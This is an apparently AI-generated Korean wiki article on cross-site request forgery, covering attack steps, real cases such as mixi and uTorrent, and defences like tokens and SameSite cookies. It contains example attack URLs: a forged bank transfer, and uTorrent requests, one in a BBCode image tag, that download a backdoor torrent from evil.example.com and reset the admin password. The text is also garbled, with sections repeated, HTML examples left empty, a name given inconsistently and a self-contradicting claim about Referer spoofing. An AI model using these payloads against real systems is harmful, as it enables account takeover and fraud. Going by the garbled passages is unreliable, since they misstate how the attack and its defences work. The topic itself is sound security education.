맨위로가기

사이트 간 요청 위조

"오늘의AI위키"는 AI 기술로 일관성 있고 체계적인 최신 지식을 제공하는 혁신 플랫폼입니다.
"오늘의AI위키"의 AI를 통해 더욱 풍부하고 폭넓은 지식 경험을 누리세요.
목차

1. 개요

사이트 간 요청 위조(CSRF)는 사용자의 온라인 신원을 악용하여 웹사이트의 신뢰를 무너뜨리는 공격 방식이다. 공격자는 사용자가 이미 인증된 상태에서 악성 HTTP 요청을 보내도록 유도하며, 웹 브라우저의 쿠키 자동 전송 기능을 악용한다. CSRF 공격은 사용자가 악성 링크를 클릭하거나, 악성 코드가 포함된 페이지를 방문하는 것만으로도 발생할 수 있으며, 은행 송금, SNS 게시물 변조, uTorrent 설정 변경 등 다양한 형태로 나타난다. CSRF를 방지하기 위해 동기화 토큰 패턴, 쿠키-헤더 토큰, SameSite 쿠키 속성 설정 등 다양한 기술이 사용되며, 사용자는 웹사이트 이용 후 로그아웃하거나, 브라우저 확장 프로그램을 통해 사이트 간 요청을 차단하는 등의 방법으로 피해를 줄일 수 있다.

더 읽어볼만한 페이지

  • 웹 취약점 공격 - 보안 취약점
    보안 취약점은 시스템의 설계, 구현, 운영, 관리상 결함이나 약점으로, 위협에 의해 악용되어 시스템 보안 정책을 위반할 수 있는 요소이며, ISO 27005, IETF RFC 4949, NIST SP 800-30, ENISA 등 다양한 기관에서 정의하고 있다.
  • 웹 취약점 공격 - 인터넷 보안
    인터넷 보안은 사이버 위협, 악성 소프트웨어, 서비스 거부 공격 등으로부터 정보와 시스템을 보호하기 위해 네트워크 계층 보안, 다단계 인증, 방화벽 등 다양한 기술과 방법을 포괄한다.
  • 취약점 공격 - 보안 취약점
    보안 취약점은 시스템의 설계, 구현, 운영, 관리상 결함이나 약점으로, 위협에 의해 악용되어 시스템 보안 정책을 위반할 수 있는 요소이며, ISO 27005, IETF RFC 4949, NIST SP 800-30, ENISA 등 다양한 기관에서 정의하고 있다.
  • 취약점 공격 - 인터넷 보안
    인터넷 보안은 사이버 위협, 악성 소프트웨어, 서비스 거부 공격 등으로부터 정보와 시스템을 보호하기 위해 네트워크 계층 보안, 다단계 인증, 방화벽 등 다양한 기술과 방법을 포괄한다.
  • 컴퓨터 보안 - 얼굴 인식 시스템
    얼굴 인식 시스템은 디지털 이미지나 비디오에서 사람 얼굴을 감지하고 식별하는 기술로, 다양한 알고리즘 발전을 거쳐 보안, 신원 확인 등에 활용되지만, 편향성, 개인 정보 침해, 기술적 한계와 같은 윤리적 문제도 야기한다.
  • 컴퓨터 보안 - 워터마크
    워터마크는 종이 제조 시 두께 차이를 이용해 만들어지는 표식으로, 위조 방지를 위해 지폐나 여권 등에 사용되며 댄디 롤 등의 제작 기법을 통해 만들어지고 컴퓨터 프린터 인쇄 기술로도 활용된다.
사이트 간 요청 위조

2. 특징

CSRF는 일반적으로 다음과 같은 특징을 갖는다.


  • 사용자의 온라인 신원에 의존하는 사이트와 관련이 있다.
  • 해당 신원에 대한 사이트의 신뢰를 악용한다.
  • 사용자의 브라우저를 속여 사용자가 이미 인증된 대상 사이트로 HTTP 요청을 보내도록 한다.
  • 부작용 (컴퓨터 과학)이 있는 HTTP 요청을 포함한다.[42][43][10][3]

3. 공격 과정

CSRF 공격은 공격자가 무고한 최종 사용자를 속여 의도하지 않은 웹 요청을 제출하도록 하는 것을 말한다. 이로 인해 의도하지 않은 클라이언트 또는 서버 데이터 유출, 세션 상태 변경, 최종 사용자 계정 조작을 포함할 수 있는 작업이 웹 사이트에서 수행될 수 있다.[42]

CSRF 공격은 일반적으로 다음과 같은 과정을 거친다.

1. 이용자는 웹사이트에 로그인하여 정상적인 쿠키를 발급받는다.

2. 공격자는 이메일이나 게시판 등의 경로를 통해 이용자에게 링크를 전달한다.

3. 공격용 HTML 페이지에는 다음과 같은 이미지 태그가 있다.

: ` `

: 이 링크는 클릭 시 정상적인 경우 출발지와 도착지를 등록하기 위한 것이다. 위의 경우 도착지를 변조하였다.

4. 이용자가 공격용 페이지를 열면, 브라우저는 이미지 파일을 받아오기 위해 공격용 URL을 연다.

5. 이용자의 승인이나 인지 없이 출발지와 도착지가 등록됨으로써 공격이 완료된다. 해당 서비스 페이지는 등록 과정에서 쿠키를 통한 본인 확인만 하기 때문에 공격자가 정상적인 이용자의 정보를 수정할 수 있게 된다.

CSRF 공격자는 공격용 URL이 은행의 것이라는 것을 앨리스(Alice)에게 들키지 않도록 위장할 수 있다. 예를 들어, 공격용 URL을 직접 기재하는 대신 다음과 같이 할 수 있다.


  • "재밌는 이미지를 발견했습니다"와 같은 문구와 함께 링크를 건다.
  • 크기가 0x0인 이미지(를 가장한 공격용 URL)를 삽입한다.

: ` "0" height="0" border="0">`

후자의 경우, 이 이미지가 삽입된 사이트에 접속하면 브라우저가 자동으로 "이미지"를 읽어들이므로 공격이 성공한다.

4. 공격 예시

사이트 간 요청 위조(CSRF)는 웹 애플리케이션이 신뢰하는 사용자로부터 승인되지 않은 명령이 제출되는 악의적인 공격이다.[42] 공격자는 다양한 방법을 통해 이러한 명령을 전송할 수 있다. 예를 들어, 특별히 제작된 이미지 태그, 숨겨진 양식, 자바스크립트의 페치 또는 XMLHttpRequests는 사용자의 상호 작용이나 지식 없이도 작동할 수 있다. CSRF는 사이트 간 스크립팅(XSS)와 달리 사이트가 사용자 브라우저에 갖고 있는 신뢰를 활용한다.[43] 공격자는 사용자를 속여 의도하지 않은 웹 요청을 제출하게 하고, 이로 인해 데이터 유출, 세션 상태 변경, 사용자 계정 조작 등이 발생할 수 있다.

공격자는 피해자가 로그인한 상태에서 특정 작업을 실행하는 링크를 찾아, 자신이 제어하는 페이지에 삽입하고 피해자가 열도록 유도한다.[10] 공격 링크는 피해자가 로그인한 상태에서 방문할 가능성이 높은 위치(예: 토론 포럼)에 배치되거나, HTML 이메일 본문 또는 첨부 파일로 전송될 수 있다.

국가 취약성 데이터베이스(National Vulnerability Database)에서 CSRF 취약성을 설명하는 페이지

4. 1. 은행 송금 공격

CSRF 취약성을 구체적인 예를 들어 설명한다.

현재 사용 중인 은행 웹사이트(대상 사이트)에 로그인한 사용자 앨리스(Alice)가 자신의 계좌에서 밥(Bob)이라는 다른 사용자의 계좌로 100USD를 송금할 때, 앨리스의 브라우저에서 다음과 같은 HTTP 요청이 은행 웹사이트로 전송된다고 가정한다.

GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1

공격자 마리아(Maria)는 다음과 같은 URL을 전자 게시판에 올리거나, 불특정 다수에게 메일로 보낸다.

http://bank.com/transfer.do?acct=MARIA&amount=10000 HTTP/1.1

은행 사용자 앨리스가 이 URL을 클릭하면 앨리스의 브라우저에서 다음과 같은 HTTP 요청이 은행으로 전송된다.

GET http://bank.com/transfer.do?acct=MARIA&amount=10000 HTTP/1.1

이때 우연히 앨리스가 은행에 로그인되어 있다면, 은행 서버는 이 요청을 송금 요청으로 해석하여 앨리스의 계좌에서 마리아의 계좌로 10000USD가 부당하게 송금된다.

원래 은행 서버는 앨리스의 브라우저에서 받은 HTTP 요청이 정말 앨리스 본인의 의지로 보내진 것인지 확인하고, 확인을 통과했을 때만 HTTP 요청을 받아들여야 한다. 그러나 위에 언급된 은행 서버 웹사이트의 구현에는 이러한 확인 장치가 없었고, 이것이 마리아에게 CSRF 공격을 가능하게 한 원인이다.

이러한 공격에 대한 대책의 예로, 송금 HTTP 요청에 다음과 같이 세션 ID와는 다른 송금용 토큰을 포함시키고, 이것이 올바른 토큰인지 은행 서버 측에서 확인하는 방법이 있다.

GET http://bank.com/transfer.do?token=13276598501&acct=BOB&amount=100 HTTP/1.1

이렇게 하면 마리아는 (적어도 앞서 언급한 방법으로는) CSRF 공격을 수행할 수 없다. 토큰은 앨리스가 로그인할 때마다 임의로 결정되는 등, 마리아가 토큰을 예상하여 URL을 공개 게시판 등에 기재하는 것은 어렵기 때문이다.[38]

CSRF 공격자는 공격용 URL이 은행의 것이라는 것을 앨리스에게 들키지 않도록 하기 위해 위장 공작을 펼칠 수 있다. 예를 들어 공격용 URL을 직접 기재하는 대신 다음과 같이 기재하거나,

재밌는 이미지를 발견했습니다

크기 0x0의 이미지(를 가장한 공격용 URL)



를 붙여넣는 방식으로 위장할 수 있다. 후자의 위장 공작의 경우, 이 이미지가 붙여진 사이트에 접속하면 브라우저가 자동으로 이 "이미지"를 읽어들이므로 공격이 성공한다.

4. 2. SNS 게시물 변조 공격

CSRF는 웹 애플리케이션이 신뢰하는 사용자로부터 승인되지 않은 명령이 제출되는 웹 사이트 또는 웹 애플리케이션에 대한 일종의 악의적인 공격이다.[42] CSRF 공격에서는 공격자가 무고한 최종 사용자를 속여 의도하지 않은 웹 요청을 제출하도록 한다. 이로 인해 의도하지 않은 클라이언트 또는 서버 데이터 유출, 세션 상태 변경 또는 최종 사용자 계정 조작을 포함할 수 있는 작업이 웹 사이트에서 수행될 수 있다.

사용자가 SNS에 로그인한 상태에서, 공격자가 위조된 게시물 작성 요청 URL을 게시한다. 사용자가 이 URL을 클릭하면, 사용자의 의도와 상관없이 공격자가 작성한 내용이 게시된다.

일례로 2005년 4월 중순경, SNS 사이트 중 하나인 믹시(mixi)에서 게시자의 의도와는 상관없이 "나는 마치 쨩! 안녕하세요 안녕하세요!!"라는 정형문이 작성되는 사태가 발생했다.[39] 이 게시물에는 다른 믹시 이용자를 같은 함정에 빠뜨리는 속임수가 있었기 때문에, 해당 메시지는 믹시 상에서 빠르게 퍼져나갔다. 이용자들은 처음에는 무슨 일이 일어나고 있는지 알 수 없어 당황했다. 믹시 이용자 중에는 적지 않은 수의 시스템 엔지니어도 있었기 때문에, 이 혼란의 원인이 교차 사이트 요청 위조라는 것을 점차 알게 되었다.

또한, 2009년 12월 초에 시작한 서비스인 Amebaなう에서도 비슷한 상황이 발생했다.[40]

4. 3. uTorrent 공격 (영어 문서)

uTorrent에서 발생한 실제 CSRF 취약점([https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-6586 CVE-2008-6586])은 localhost:8080에서 접근 가능한 웹 콘솔이 간단한 GET 요청을 사용하여 중요한 작업을 실행할 수 있다는 사실을 악용했다.[10]

  • .torrent 파일 다운로드 강제 실행: http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
  • uTorrent 관리자 비밀번호 변경: http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin


공격은 악성, 자동 실행 HTML 이미지 요소를 포럼과 이메일 스팸에 배치하여, 사용자의 많은 조작 없이 해당 페이지를 방문하는 브라우저가 자동으로 열리도록 했다. 취약한 uTorrent 버전을 실행하는 사용자가 이러한 페이지를 열면 공격에 취약해졌다.

이미지 태그를 사용한 CSRF 공격은 BBCode를 사용하는 등 사용자가 이미지를 게시할 수 있지만 JavaScript는 허용되지 않는 인터넷 포럼에서 종종 이루어진다.

[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]

에서 로컬 uTorrent 애플리케이션에 대한 공격 링크에 접근하면 브라우저는 해당 도메인에 대한 모든 기존 HTTP 쿠키도 자동 전송한다. 이러한 웹 브라우저의 일반적인 속성으로 인해 CSRF 공격은 대상 취약점을 악용하고, 공격 시 사용자가 대상 웹사이트(이 예에서는 로컬 uTorrent 웹 인터페이스)에 로그인한 상태에서 악의적인 작업을 실행할 수 있다.

uTorrent 예제에서 공격은 uTorrent의 웹 인터페이스가 중요한 상태 변경 작업(자격 증명 변경, 파일 다운로드 등)에 GET 요청을 사용했다는 사실 때문에 쉬워졌다.[11]

4. 4. 넷플릭스, 유튜브, 맥아피 (영어 문서)

2006년 넷플릭스 웹사이트는 CSRF에 대한 수많은 취약점을 가지고 있었다. 이로 인해 공격자는 피해자의 대여 목록에 DVD를 추가하거나, 배송 주소를 변경하거나, 로그인 자격 증명을 변경하여 계정을 완전히 손상시키는 등의 작업을 수행할 수 있었다.[6]

2008년에는 인기 동영상 웹사이트 유튜브도 CSRF에 취약하여, 공격자가 모든 사용자의 거의 모든 작업을 수행할 수 있었다.[7] 같은 해 McAfee Secure 역시 CSRF에 취약하여 공격자가 회사 시스템을 변경할 수 있었으나, 이는 최신 버전에서 수정되었다.[8]

5. 로그인 요청 위조 (영어 문서)

공격자는 피해자가 공격자의 자격 증명을 사용하여 대상 웹사이트에 로그인하도록 요청을 위조할 수 있으며, 이를 ''로그인 CSRF''라고 한다. 로그인 CSRF를 통해 다양한 새로운 공격이 가능해진다. 예를 들어, 공격자는 나중에 자신의 합법적인 자격 증명으로 사이트에 로그인하여 계정에 저장된 활동 기록과 같은 개인 정보를 볼 수 있다. 이 공격은 구글(Google)[12]과 야후(Yahoo)[13]를 대상으로 시연되었다.

6. HTTP 메서드와 CSRF (영어 문서)

HTTP영어의 HTTP 요청 메서드는 유형에 따라 사이트 간 요청 위조(CSRF) 공격에 대한 취약성이 다르다. 이는 웹 브라우저의 처리 방식 차이 때문이다. 따라서 공격에 대한 보호 조치는 HTTP 요청 방식에 따라 달라진다.[42]


  • HTTP GET에서는 조작된 매개변수를 포함하고 IMG 태그로 자동 로드되는 간단한 하이퍼링크 등을 사용하여 CSRF 악용이 간단하다. 그러나 HTTP 사양에 따르면 GET은 애플리케이션에서 사용자의 상태를 크게 변경하지 않는 안전한 메서드로 사용해야 한다. 이러한 작업을 위해 GET을 사용하는 애플리케이션은 HTTP POST로 전환하거나 CSRF 방지 보호 기능을 사용해야 한다.
  • HTTP POST의 CSRF에 대한 취약성은 사용 시나리오에 따라 다르다.
  • 쿼리 문자열 (field1=value1&field2=value2)로 인코딩된 데이터를 사용한 가장 단순한 형태의 POST에서는 CSRF 공격이 간단한 HTML 폼을 사용하여 쉽게 구현되며, CSRF 방지 조치를 적용해야 한다.
  • 데이터가 다른 형식(JSON, XML)으로 전송되는 경우 표준 방법은 XMLHttpRequest를 사용하여 POST 요청을 발행하는 것이며, 동일 출처 정책(SOP) 및 교차 출처 리소스 공유(CORS)로 CSRF 공격을 방지한다. ENCTYPE 속성을 사용하여 간단한 HTML 폼에서 임의의 콘텐츠를 전송하는 기술이 있다. 이러한 가짜 요청은 text/plain 콘텐츠 유형으로 합법적인 요청과 구별할 수 있지만, 서버에서 이를 적용하지 않으면 CSRF가 실행될 수 있다.[14][15]
  • 기타 HTTP 메서드(PUT, DELETE 등)는 동일 출처 정책(SOP) 및 교차 출처 리소스 공유(CORS)를 사용하여 CSRF를 방지하는 XMLHttpRequest를 사용하여 발행할 수 있다. 그러나 이러한 조치는 Access-Control-Allow-Origin: * 헤더를 사용하여 명시적으로 비활성화하는 웹사이트에서는 활성화되지 않는다.

7. 역사 (영어 문서)

CSRF 취약점은 2001년부터 알려져 왔으며, 일부 사례에서 악용되기도 했다.[4] CSRF는 사용자의 IP 주소에서 실행되기 때문에, 일부 웹사이트 로그에는 CSRF의 증거가 없을 수 있다.[1] 악용 사례는 (최소한 공개적으로는) 제대로 보고되지 않았으며, 2007년 기준으로[5] 잘 문서화된 사례는 거의 없었다.


  • 2006년 넷플릭스 웹사이트는 CSRF에 대한 수많은 취약점을 가지고 있었으며, 공격자가 피해자의 대여 목록에 DVD를 추가하거나, 계정의 배송 주소를 변경하거나, 피해자의 로그인 자격 증명을 변경하여 계정을 완전히 손상시키는 등의 작업을 수행할 수 있었다.[6]
  • ING 다이렉트의 온라인 뱅킹 웹 애플리케이션은 불법적인 자금 이체를 허용하는 CSRF 공격에 취약했다.[7]
  • 인기 동영상 웹사이트 유튜브도 2008년에 CSRF에 취약했으며, 이를 통해 모든 공격자가 모든 사용자의 거의 모든 작업을 수행할 수 있었다.[7]
  • McAfee Secure 역시 CSRF에 취약하여 공격자가 회사 시스템을 변경할 수 있었다. 이는 최신 버전에서 수정되었다.[8]


2018년에는 라우터의 DNS 설정을 변경하려는 시도를 포함하여 웹 지원 장치에 대한 새로운 공격이 수행되었다. 일부 라우터 제조업체는 보호 기능을 개선하기 위해 서둘러 펌웨어 업데이트를 출시했으며, 위험을 줄이기 위해 라우터 설정을 변경하도록 사용자에게 권고했다. "명백한 보안상의 이유"로 자세한 내용은 공개되지 않았다.[9]

8. 피해 사례

CSRF는 웹 애플리케이션이 신뢰하는 사용자로부터 승인되지 않은 명령이 제출되는 웹 사이트 또는 웹 애플리케이션에 대한 일종의 악의적인 공격이다.[42] 공격자는 사용자를 속여 의도하지 않은 웹 요청을 제출하게 한다. 이로 인해 의도하지 않은 클라이언트 또는 서버 데이터 유출, 세션 상태 변경, 최종 사용자 계정 조작을 포함할 수 있는 작업이 웹 사이트에서 수행될 수 있다.

공격 예시는 다음과 같다.


  • 이용자는 웹사이트에 로그인하여 정상적인 쿠키를 발급받는다.
  • 공격자는 이메일이나 게시판 등의 경로를 통해 이용자에게 하이퍼링크를 전달한다. (예: http://www.geocities.com/attacker)
  • 공격용 HTML 페이지는 다음과 같은 이미지 태그를 가진다.
  • ``
  • 해당 링크는 클릭 시 정상적인 경우 출발지와 도착지를 등록하기 위한 링크이다. 위의 경우 도착지를 변조하였다.
  • 이용자가 공격용 페이지를 열면, 브라우저는 이미지 파일을 받아오기 위해 공격용 URL을 연다.
  • 이용자의 승인이나 인지 없이 출발지와 도착지가 등록됨으로써 공격이 완료된다. 해당 서비스 페이지는 등록 과정에 대해 단순히 쿠키를 통한 본인 확인만 하기 때문에 공격자가 정상적인 이용자의 정보를 수정할 수 있게 된다.


일본에서는 1997년 5월에 발생한 농림수산성 옴진리교 송 사건 또한 이 기법을 사용한 것이다.

8. 1. 일본 사례 (일본어 문서)

2005년 믹시에서 발생한 하마치야2에 의한 "나는 하마치 쨩! 안녕하세요 안녕하세요!!" 소동으로 인해 사이트 간 요청 위조(CSRF)의 존재가 널리 알려지게 되었다.[39] 이는 사용자의 의도와는 상관없이 "나는 하마치 쨩! 안녕하세요 안녕하세요!!"라는 글이 게시되는 사건이었다. 이 게시물에는 다른 믹시 이용자를 같은 함정에 빠뜨리는 속임수가 있었기 때문에, 메시지는 믹시 상에서 빠르게 퍼져나갔다. 믹시 이용자들은 처음에는 무슨 일이 일어나는지 몰라 당황했지만, 시스템 엔지니어들 사이에서 이 혼란의 원인이 CSRF라는 것이 점차 알려졌다. 그러나 믹시 운영 당국의 대처가 미흡했다는 지적과 불충분한 공지 등으로 인해 혼란이 확산되었고, 결국 여러 매체에서도 다루어지며 믹시 밖에서도 화제가 되었다.[39] 2009년 12월 초에 시작한 Amebaなう에서도 비슷한 상황이 발생했다.[40]

CSRF를 이용해 무고한 타인에게 범행 예고 글을 작성하게 한 요코하마시 초등학교 습격 예고 사건도 있었다. 이 사건으로 인해 한 대학생이 체포, 기소되었지만, 이후 가나가와현 경찰이 오인 체포를 인정하고 사과했다.[41]

9. 방지 대책

사이트 간 요청 위조(CSRF)는 웹 애플리케이션이 신뢰하는 사용자로부터 승인되지 않은 명령이 제출되는 악의적인 공격이다.[42] 공격자는 이미지 태그, 숨겨진 양식, 자바스크립트의 페치 요청 등을 사용하여 사용자의 상호 작용이나 지식 없이 공격을 수행할 수 있다. CSRF는 사이트 간 스크립팅(XSS)와 달리 사이트가 사용자 브라우저에 갖고 있는 신뢰를 이용한다.[43]

CSRF 공격을 방지하기 위해 웹 애플리케이션은 권한이 없는 위치에서의 요청을 감지할 수 있도록 추가적인 인증 데이터를 요청에 포함시켜야 한다.

웹 사이트 관리자는 다음과 같은 대책을 강구할 수 있다.


  • 폼을 HTTP GET할 때 암호론적 의사 난수 (nonce)를 폼의 hidden 값으로 발행하고, HTTP POST 시 서버에 저장했던 값과 POST된 값의 동일성을 검증한다. 외부 사이트 작성자는 이 값을 추측하기 어려우므로, 부정한 POST는 서버 측에서 감지할 수 있다. (단, HTTP 헤더 인젝션, 세션 하이재킹, 크로스 사이트 스크립팅에 대한 대책도 필요하다.)
  • HTTP 리퍼러 (Referer)를 이용하여 대책을 세울 수 있다. CSRF는 외부 도메인으로부터의 HTTP 요청이므로, HTTP Referer를 확인하여 외부 사이트로부터의 부정한 POST를 판별할 수 있다. 제3자 사이트에서 Referer를 위조한 POST를 전송하는 것은 불가능하므로, Referer 값으로 부정한 전송을 감지할 수 있다. 다만, HTTP 요청 전송자가 Referer를 위조하는 것은 쉬우므로, Referer 대조는 CSRF 대책은 되지만, 부정한 세션 생성에 대한 대책은 되지 않는다. 또한, 리퍼러는 브라우저 설정으로 전송하지 않을 수 있으며, 이 경우 정규 사이트 이용자도 부정으로 간주될 수 있다.

9. 1. 사용자 측면

웹사이트 이용 후 로그아웃하여 세션을 종료한다.[42] 의심스러운 링크나 이메일을 열지 않는다. Mozilla Firefox용 확장 프로그램인 RequestPolicy 또는 uMatrix영어 (구글 크롬/크로미움)과 같은 브라우저 확장 프로그램을 사용하여 CSRF 공격을 방지할 수 있다. 그러나 이는 많은 웹 사이트의 정상적인 작동을 크게 방해할 수 있다.[43]

Firefox용 NoScript 확장 프로그램은 신뢰할 수 있는 사이트와 신뢰할 수 없는 사이트를 구별하고 신뢰할 수 없는 사이트에서 신뢰할 수 있는 사이트로 전송된 POST 요청에서 인증 및 페이로드를 제거하여 CSRF 위협을 완화한다. NoScript의 응용 프로그램 경계 인포서 모듈은 인터넷 페이지에서 로컬 사이트(예: localhost)로 전송되는 요청도 차단하여 로컬 서비스(예: uTorrent) 또는 라우터에 대한 CSRF 공격을 방지한다.

Firefox용 Self Destructing Cookies 확장 프로그램은 CSRF로부터 직접적으로 보호하지는 않지만, 더 이상 열린 탭과 연결되지 않는 즉시 쿠키를 삭제하여 공격 범위를 줄일 수 있다.

9. 2. 웹사이트/웹 애플리케이션 제작자 측면 (서버 측면)

웹사이트 또는 웹 애플리케이션 제작자는 사이트 간 요청 위조(CSRF) 공격을 방지하기 위해 다음과 같은 방법을 사용할 수 있다.

  • 동기화 토큰 패턴 (Synchronizer Token Pattern): HTML 폼에 예측 불가능한 토큰 값을 삽입하고, 서버에서 이를 검증한다. 이 토큰은 각 요청마다 고유해야 하며, 공격자가 예측할 수 없어야 한다. 예를 들어, Django는 다음과 같이 HTML 폼에 CSRF 토큰을 추가한다.[10][24][25]


```html



```

  • 쿠키-헤더 토큰 (Cookie-to-Header Token): 자바스크립트를 사용하여 쿠키 값을 읽어 HTTP 헤더에 추가하고, 서버에서 검증한다. 이 방법은 서버 세션과 연결되지 않은 초기 방문 시 쿠키를 설정하고, 자바스크립트가 쿠키 값을 읽어 사용자 지정 HTTP 헤더에 복사하는 방식으로 작동한다. 서버는 헤더의 존재 여부와 무결성을 검증한다. 이 기술은 Django[26] 및 AngularJS[27]와 같은 프레임워크에서 구현되어 있다.

  • 더블 서브밋 쿠키 (Double Submit Cookie): 쿠키와 폼에 동일한 토큰 값을 삽입하고, 서버에서 비교한다. 이 방법은 서버에 토큰을 저장할 필요가 없다는 장점이 있다.

  • SameSite 쿠키 속성: 쿠키의 SameSite 속성을 'Strict' 또는 'Lax'로 설정하여 교차 출처 요청에서 쿠키 전송을 제한한다.[31]

  • HTTP Referer 검증: HTTP Referer 헤더를 확인하여 요청이 승인된 페이지에서 왔는지 확인한다. 단, Referer는 위조 가능성이 있으므로 주의해야 한다.[32]


이 외에도 다음과 같은 방법들이 사용되거나 제안되었다.

  • 요청 헤더에 `X-Requested-With`가 포함되어 있는지 확인
  • HTTP `Referer` 헤더 및/또는 HTTP `Origin` 헤더 확인[32]


하지만, 크로스 사이트 스크립팅(XSS) 취약점이 있는 경우, 공격자가 이러한 CSRF 예방 조치를 우회할 수 있으므로 주의해야 한다.[34]

10. 한계 (영어 문서)

사이트 간 요청 위조 공격이 성공하려면 몇 가지 조건이 충족되어야 한다.

# 공격자는 리퍼러 헤더를 확인하지 않는 사이트나, 리퍼러 스푸핑을 허용하는 브라우저 또는 플러그인을 사용하는 피해자를 대상으로 해야 한다.[22]

# 공격자는 대상 사이트에서 폼 제출 또는 부작용이 있는 URL을 찾아야 한다. (예: 돈을 이체하거나 피해자의 이메일 주소 또는 비밀번호를 변경하는 등)

# 공격자는 모든 폼 또는 URL 입력에 대한 올바른 값을 결정해야 한다. 만약 그 중 일부가 공격자가 추측할 수 없는 비밀 인증 값 또는 ID를 요구하는 경우, 공격은 실패할 가능성이 크다. (공격자가 매우 운이 좋은 경우가 아니라면)

# 공격자는 피해자가 대상 사이트에 로그인한 상태에서 악성 코드가 포함된 웹 페이지로 피해자를 유인해야 한다.

공격은 맹목적이다. 공격자는 위조된 요청에 대한 응답으로 대상 웹사이트가 피해자에게 무엇을 보내는지 볼 수 없다. 만약, 사이트 간 스크립팅 또는 대상 웹사이트의 다른 버그를 악용하지 않는 한 말이다. 마찬가지로, 공격자는 초기 위조 요청 이후에 나타나는 모든 링크나 폼을 대상으로 할 수 있는데, 이 후속 링크나 폼이 유사하게 예측 가능하다면 가능한다. (여러 개의 이미지를 페이지에 포함하거나, JavaScript를 사용하여 클릭 사이에 지연을 도입하여 여러 대상을 시뮬레이션할 수 있다.)[23]

참조

[1] 서적 Apache Security https://archive.org/[...] O'Reilly Media
[2] 웹사이트 What is Cross-Site Request Forgery (CSRF) and How Does It Work? | Synopsys https://www.synopsys[...]
[3] 웹사이트 What is CSRF (Cross-site request forgery)? Tutorial & Examples https://portswigger.[...] 2019-11-04
[4] 웹사이트 Cross Site Request Forgery: An Introduction To A Common Web Weakness https://www.isecpart[...] Information Security Partners, LLC 2011-12-12
[5] 웹사이트 Vulnerability Type Distributions in CVE (version 1.1) http://cwe.mitre.org[...] MITRE Corporation 2008-06-07
[6] 웹사이트 Netflix fixes cross-site request forgery hole https://www.scmagazi[...] SC Magazine 2019-02-11
[7] 웹사이트 Cross-Site Request Forgeries: Exploitation and Prevention https://www.eecs.ber[...] 2008-10
[8] 웹사이트 CSRF: Yeah, It Still Works…. https://www.defcon.o[...] DEFCON
[9] 웹사이트 Security Advisory: CSRF & DNS/DHCP/Web Attacks https://www.draytek.[...] 2018-05-18
[10] 웹사이트 Security Corner: Cross-Site Request Forgeries http://shiflett.org/[...] php|architect (via shiflett.org) 2008-07-03
[11] 웹사이트 Cross Site Request Forgery protection {{!}} Django documentation {{!}} Django https://docs.djangop[...] 2015-08-21
[12] 문서 Robust Defenses for Cross-Site Request Forgery http://www.adambarth[...] ACM
[13] 웹사이트 Passive monitoring login request forgery, Yahoo http://www.jfoulds.c[...] 2014-12-22
[14] 웹사이트 Cross-Site Request Forgery For POST Requests With An XML Body http://pentestmonkey[...] pentestmonkey 2015-09-04
[15] 웹사이트 Web 2.0 Hacking Defending Ajax & Web Services http://conference.hi[...] HITB 2015-09-04
[16] 웹사이트 Security Fix - Weaponizing Web 2.0 http://voices.washin[...]
[17] 웹사이트 Dynamic CSRF http://www.neohaxor.[...] 2010-02-13
[18] 웹사이트 Israel 2012/01: AJAX Hammer – Harnessing AJAX for CSRF Attacks https://www.owasp.or[...] Owasp.org 2013-10-01
[19] 웹사이트 Downloads – hasc-research – hasc-research – Google Project Hosting https://code.google.[...]
[20] 웹사이트 Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities http://www.kb.cert.o[...]
[21] 웹사이트 Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF) http://www.kb.cert.o[...]
[22] 웹사이트 Enhanced cross-site attack prevention https://worldwide.es[...] European Patent Office 2019-11-21
[23] 웹사이트 CSRF: Cross-site request forgery attacks explained https://www.ionos.co[...] 2022-04-26
[24] 웹사이트 Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet https://cheatsheetse[...] OWASP 2019-07-19
[25] 웹사이트 Valhalla Articles - Cross-Site Request Forgery: Demystified http://halls-of-valh[...]
[26] 웹사이트 Cross Site Request Forgery protection https://docs.djangop[...] Django 2015-01-20
[27] 웹사이트 Cross Site Request Forgery (XSRF) Protection https://docs.angular[...] AngularJS 2015-01-20
[28] 웹사이트 Making a Service Available Across Domain Boundaries http://msdn.microsof[...]
[29] 웹사이트 Cross-domain policy file usage recommendations for Flash Player - Adobe Developer Connection https://www.adobe.co[...]
[30] 웹사이트 Double Submit Cookie defence https://cheatsheetse[...] OWASP
[31] 웹사이트 SameSite cookies https://developer.mo[...] Mozilla 2023-04-10
[32] 웹사이트 Origin Header Proposal https://people.mozil[...] 2016-03-08
[33] 웹사이트 Secunia Advisory SA22467 https://secunia.com/[...] Secunia 2012-09-11
[34] 웹사이트 CSRF and same-origin XSS http://www.webappsec[...] 2012-04-21
[35] 웹사이트 Security Corner: Cross-Site Request Forgeries http://shiflett.org/[...] php|architect (via shiflett.org) 2008-07-03
[36] 웹사이트 共通脆弱性タイプ一覧CWE概説 https://www.ipa.go.j[...] IPA 2016-09-15
[37] 웹사이트 トレンドマイクロ セキュリティ情報 脅威と対策 「クロスサイトリクエストフォージェリ（CSRF）」 http://www.trendmicr[...] トレンドマイクロ
[38] 문서
[39] 뉴스 「ぼくはまちちゃん」 ――知られざるCSRF攻撃 https://atmarkit.itm[...] ＠IT
[40] 뉴스 URL踏むと「こんにちは　こんにちは!!」　AmebaなうのCSRF脆弱性で“意図しない投稿”広がる https://www.itmedia.[...] ITmedia
[41] 뉴스 神奈川県警幹部、誤認逮捕を謝罪…少年宅を訪問 https://web.archive.[...] 読売新聞 2012-10-20
[42] 서적 Apache Security https://archive.org/[...] O'Reilly Media
[43] 웹인용 What is Cross-Site Request Forgery (CSRF) and How Does It Work? | Synopsys https://www.synopsys[...]


본 사이트는 AI가 위키백과와 뉴스 기사,정부 간행물,학술 논문등을 바탕으로 정보를 가공하여 제공하는 백과사전형 서비스입니다.
모든 문서는 AI에 의해 자동 생성되며, CC BY-SA 4.0 라이선스에 따라 이용할 수 있습니다.
하지만, 위키백과나 뉴스 기사 자체에 오류, 부정확한 정보, 또는 가짜 뉴스가 포함될 수 있으며, AI는 이러한 내용을 완벽하게 걸러내지 못할 수 있습니다.
